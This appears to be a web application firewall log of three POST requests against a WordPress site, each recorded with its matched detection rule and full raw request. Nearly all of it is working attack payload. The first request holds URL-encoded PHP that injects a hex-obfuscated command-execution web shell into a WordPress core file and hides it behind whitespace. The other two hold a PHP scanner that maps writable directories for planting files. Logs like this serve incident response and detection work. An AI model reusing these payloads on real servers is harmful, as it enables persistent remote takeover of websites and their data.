["2026-05-12 21:01:37","57.128.189.50","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:6602\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:01:42","50.6.7.129","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> aU:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLIHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\n\naU=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 21:01:52","91.142.222.105","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> yG:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\n\nyG=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
